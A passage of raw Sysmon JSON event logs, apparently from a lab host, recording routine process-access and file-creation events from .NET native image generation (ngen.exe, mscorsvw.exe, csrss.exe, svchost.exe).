C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:33.244","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-431C-5F2D-0000-0010E8E10F00}","TargetProcessId":"3632","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8317,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:33.244\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-431C-5F2D-0000-0010E8E10F00}\r\nTargetProcessId: 3632\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:33.244","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-431C-5F2D-0000-0010E8E10F00}","TargetProcessId":"3632","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8318,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:34.166\r\nProcessGuid: {90617006-4351-5F2D-0000-0010694D1100}\r\nProcessId: 3632\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\e30-0\\Microsoft.VisualBasic.dll\r\nCreationUtcTime: 2020-08-07 12:04:34.166","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:34.166","ProcessGuid":"{90617006-4351-5F2D-0000-0010694D1100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\e30-0\\Microsoft.VisualBasic.dll","CreationUtcTime":"2020-08-07 12:04:34.166","EventReceivedTime":"2020-08-07 12:04:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8319,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:34.229\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4331-5F2D-0000-001085891000}\r\nTargetProcessId: 4808\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:34.229","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4331-5F2D-0000-001085891000}","TargetProcessId":"4808","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8320,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:34.229\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4331-5F2D-0000-001085891000}\r\nTargetProcessId: 4808\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:34.229","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4331-5F2D-0000-001085891000}","TargetProcessId":"4808","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8321,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:34.229\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4331-5F2D-0000-001085891000}\r\nTargetProcessId: 4808\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:34.229","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4331-5F2D-0000-001085891000}","TargetProcessId":"4808","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8322,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:34.276\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4352-5F2D-0000-001083551100}\r\nTargetProcessId: 1604\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:34.276","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4352-5F2D-0000-001083551100}","TargetProcessId":"1604","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8323,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:34.276\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4352-5F2D-0000-001083551100}\r\nTargetProcessId: 1604\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:34.276","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4352-5F2D-0000-001083551100}","TargetProcessId":"1604","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8324,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:34.291\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4352-5F2D-0000-001083551100}\r\nTargetProcessId: 1604\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:34.291","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4352-5F2D-0000-001083551100}","TargetProcessId":"1604","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8325,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 